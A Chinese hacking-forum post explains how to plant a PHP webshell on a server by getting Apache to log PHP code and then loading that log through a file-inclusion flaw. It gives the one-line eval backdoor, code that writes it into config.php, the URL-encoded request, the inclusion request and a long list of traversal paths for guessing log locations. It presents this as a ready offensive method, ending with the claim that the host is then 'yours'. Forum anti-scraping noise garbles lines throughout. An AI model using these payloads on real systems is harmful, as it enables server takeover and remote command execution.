找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1826|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 9 D$ ]9 d  Q" G1 {9 o. t8 ?- [

" f9 j$ Q. z9 R, c# g比如还是这句一句话木马 % |4 R  |. Z, X5 Y' Z4 ^- W/ q% N
<?eval($_POST[cmd]);?>   3 n( I6 S, S- B6 L

  G2 t/ H) y* o到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
0 y- n& t8 P" q* ~; Kfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 7 U  F2 G# h+ m$ J& l7 n
/ N$ c8 O) i1 i9 Y4 y& h, Y1 y
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); 2 C4 J  F. a' y% n- s" ^" H: b
fclose($fp);?>   //在config.php里写入一句木马语句 2 ~3 x" l8 n. ?2 c
" v( b8 M' |+ t0 M
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
( G7 z6 `1 b4 r4 L! o) W% _5 V+ O转换为
3 q7 o& d* @$ u4 r- i. f%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F ) J9 o( [5 |7 r# T, f( h( i$ Y
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) i9 w+ y& S4 a8 R+ A%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B * i4 c6 g: n0 {
fclose%28%24fp%29%3B%3F%3E , y1 F$ w/ f9 t+ t
我们提交
# V( X/ I, ^& {7 g% Whttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
) g4 x0 m6 }3 D( o& V5 a%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ( s  X8 [; w1 n$ W+ ^
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
! o3 |1 B3 f- b" ^cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E - x4 f0 C) J. J: _  ]* C( X4 j# d  @

8 v' r- K) m6 y' S2 b9 c3 E5 |/ N1 v这样就错误日志里就记录下了这行写入webshell的代码。 - {: [; i$ {" m
我们再来包含日志,提交 1 B) P# q6 H3 u* k
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
) p# @. g7 o! B3 D' A# ~2 k9 e, Y' Z3 E
这样webshell就写入成功了,config.php里就写入一句木马语句
# |! s/ u5 p( C9 T# POK. % g4 \$ l" B7 f
http://www.xxx.com/forum/config.php这个就成了我们的webshell 3 c0 o: U, K& A' ]5 R+ p* a
直接用lanker的客户端一连,主机就是你的了。 0 E. w: w) Y1 n2 Z

8 D+ t2 b# w% U5 `% Y* a' W2 K7 oPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 4 ]. z. t1 ^9 |. V$ g; Q& I8 B

' X2 E" Y* J6 a4 [其他的日志路径,你可以去猜,也可以参照这里。 8 }9 k: u5 ?) B( _2 X
../../../../../../../../../../var/log/httpd/access_log
/ X+ J; C8 M2 W; k5 a+ c../../../../../../../../../../var/log/httpd/error_log 3 i9 Q6 j. ^1 G
../apache/logs/error.log
$ r* O) w- S% ?" e$ T../apache/logs/access.log 5 |& q" k( ]3 i6 `
../../apache/logs/error.log 9 P$ k2 o: A: e/ ^/ ^1 R& |7 l
../../apache/logs/access.log 2 u7 I4 Q  I* |3 J
../../../apache/logs/error.log
2 E4 h- j+ @( i9 O, E6 ?4 J% v: h../../../apache/logs/access.log / Z5 J& J$ t9 x
../../../../../../../../../../etc/httpd/logs/acces_log
% j& M  m# o# S$ t: N* Z../../../../../../../../../../etc/httpd/logs/acces.log
! N; @+ v- A' h* e/ p../../../../../../../../../../etc/httpd/logs/error_log
8 V2 S  u( m( Z2 z. v  V../../../../../../../../../../etc/httpd/logs/error.log 4 j# ^. ^) Z' [, h
../../../../../../../../../../var/www/logs/access_log
, v+ Z# n. f; i2 w1 x4 q../../../../../../../../../../var/www/logs/access.log ! l( K+ w% l% r' b) V7 p
../../../../../../../../../../usr/local/apache/logs/access_log 2 m9 r5 K* {/ a+ H8 @
../../../../../../../../../../usr/local/apache/logs/access.log
# ~4 S) b7 W7 |1 s8 y1 y7 g2 {0 O1 B../../../../../../../../../../var/log/apache/access_log 6 U0 R, M; w/ \2 o) X
../../../../../../../../../../var/log/apache/access.log * c$ j6 z4 T' {5 {3 E
../../../../../../../../../../var/log/access_log
* D" M" w" d. C/ {' t  v* v../../../../../../../../../../var/www/logs/error_log
' t) g) l% e) d0 ~6 D! h* `../../../../../../../../../../var/www/logs/error.log 4 ^: x- @; j9 ~* [
../../../../../../../../../../usr/local/apache/logs/error_log
1 e$ S; t3 }$ S3 M  L../../../../../../../../../../usr/local/apache/logs/error.log
4 m6 }: Q- U: Q" M2 B../../../../../../../../../../var/log/apache/error_log
" W, g) J% |3 c* K' s# w6 c../../../../../../../../../../var/log/apache/error.log
# |6 Z, `$ k, b9 Y../../../../../../../../../../var/log/access_log ) i& A/ w3 R+ L& j1 ~
../../../../../../../../../../var/log/error_log , x- w9 Q# v! @% w5 s$ I/ u7 N+ w
/var/log/httpd/access_log       # h5 M3 a% {2 l% |, s
/var/log/httpd/error_log     $ Q9 ^$ N5 T" Y+ R, K0 U
../apache/logs/error.log     
# L! f4 q9 A4 K  u/ Q../apache/logs/access.log
2 z0 b  g9 [( ~3 b& w../../apache/logs/error.log ) Q% R6 W8 [! S9 }( H0 y% x. _. Z
../../apache/logs/access.log
! X: r9 @/ Q0 Z../../../apache/logs/error.log
, G8 Q# R% \% j7 `) m( |../../../apache/logs/access.log
2 X5 y4 G+ x3 W( u, m/etc/httpd/logs/acces_log
' k/ \& b, W1 [& S/etc/httpd/logs/acces.log
- ]) F& m0 J2 @9 p" x/etc/httpd/logs/error_log ! c# w& n- M4 g' S
/etc/httpd/logs/error.log ) d) ^2 a: k" |7 t! t
/var/www/logs/access_log
% ?  F6 g7 p, \2 V/var/www/logs/access.log
; @) [. o7 g) T0 `+ k8 m& @/usr/local/apache/logs/access_log ' s5 J7 T9 x3 Y6 S1 s" h
/usr/local/apache/logs/access.log
3 `. F4 C0 N, @! k: J" Y/ W: `% H/var/log/apache/access_log
+ F& g7 q; |' P0 w/var/log/apache/access.log
- P9 [0 X; G. e& o1 j7 ?/var/log/access_log
% N( m7 b# c( [2 U& T. f6 q/var/www/logs/error_log
1 E. `7 e+ h4 d/var/www/logs/error.log
+ B4 x, i3 B- T6 g* Z, A1 S. X/usr/local/apache/logs/error_log
+ a# S' d7 r1 P9 A; {) c  X/usr/local/apache/logs/error.log $ _) I+ {8 Q5 k9 q) _8 G4 o
/var/log/apache/error_log
+ z' i+ b% d6 Q5 E/var/log/apache/error.log
! g0 E' F8 @, Q' _4 [* w0 Y/var/log/access_log
0 P) q# S( U$ m/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表